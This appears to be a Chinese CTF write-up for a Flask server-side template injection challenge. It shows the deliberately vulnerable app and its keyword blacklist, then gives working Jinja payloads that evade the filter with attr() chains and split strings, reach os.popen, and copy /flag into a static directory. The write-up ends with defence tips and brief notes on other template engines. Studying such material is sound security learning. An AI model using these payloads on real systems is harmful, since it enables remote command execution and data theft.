1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from flask import Flask, request, render_template_string, abortapp = Flask(__name__) blacklist = [ 'request' , 'namespace' , 'join' , 'cycler' , 'dict' , 'range' , 'lipsum' , 'sys' , 'subprocess' , 'eval' , 'exec' , 'write' , 'input' , 'locals' , '.' , 'class' , '[' , ']' , 'import' , 'globals' , 'builtins' , 'config' ] @app.route('/' , methods=['GET' , 'POST' ] ) def index (): name = request.args.get('name' , '' ) if name: for word in blacklist: if word in name.lower(): return f"<h1>Hacker! 检测到非法字符: {word} </h1>" , 403 template = ''' <html> <head> <title>SSTI</title> </head> <body> <h3>Hello, %s !</h3> </body> </html> ''' % (name) return render_template_string(template) if __name__ == "__main__" : app.run(host="0.0.0.0" , port=5000 , debug=True )
fenjing打本地得到可用的ssti链子
1 {{nho |attr('__eq__' )|attr('__g' 'lobals__' )|attr('get ' )('__b' 'uiltins__' )|attr('get ' )('__i' 'mport__' )('os' )|attr('popen' )('ls' )|attr('read' )()}}
但是这里不能直接给flag
python无回显,
一种可以创建静态目录,再将flag内容写入
1 {{nho |attr('__eq__' )|attr('__g' 'lobals__' )|attr('get ' )('__b' 'uiltins__' )|attr('get ' )('__i' 'mport__' )('os' )|attr('popen' )('mkdir /app/static' )|attr('read' )()}}
创建好了,然后写入flag
1 {{nho |attr('__eq__' )|attr('__g' 'lobals__' )|attr('get ' )('__b' 'uiltins__' )|attr('get ' )('__i' 'mport__' )('os' )|attr('popen' )('cat /flag >/app/static/1' )|attr('read' )()}}
访问/static/1得到flag
1 NSSCTF {f2c677ef-8998 -48 ea-8259 -d6784ad35f00}
防御手段 1.将app.py和test.html分开写
避免掉render_template_string(template)的滥用
2.最小化攻击面
开启浏览器 HTML 自动转义: autoescape=False =>autoescape=True
这个措施会将 <>, {} 等字符转义, 同时能防御一些 XSS 攻击;
禁用模板语法, 例如: <span>{</span>% import %<span>}</span>
3.源码添加waf
tonado https://blog.csdn.net/miuzzx/article/details/123329244
tera 1 2 3 4 5 6 7 {%print (7*7 )%} 返回Failed to parse '__tera_one_off' Failed to parse '__tera_one_off' tera引擎 text={{ get_env(name ="flag" ) }}
遇到的 tornado模板的handler.settings利用(from[护网杯 2018]easy_tornado)
CVE-2021-26119,smarty下非法访问$smarty.template_object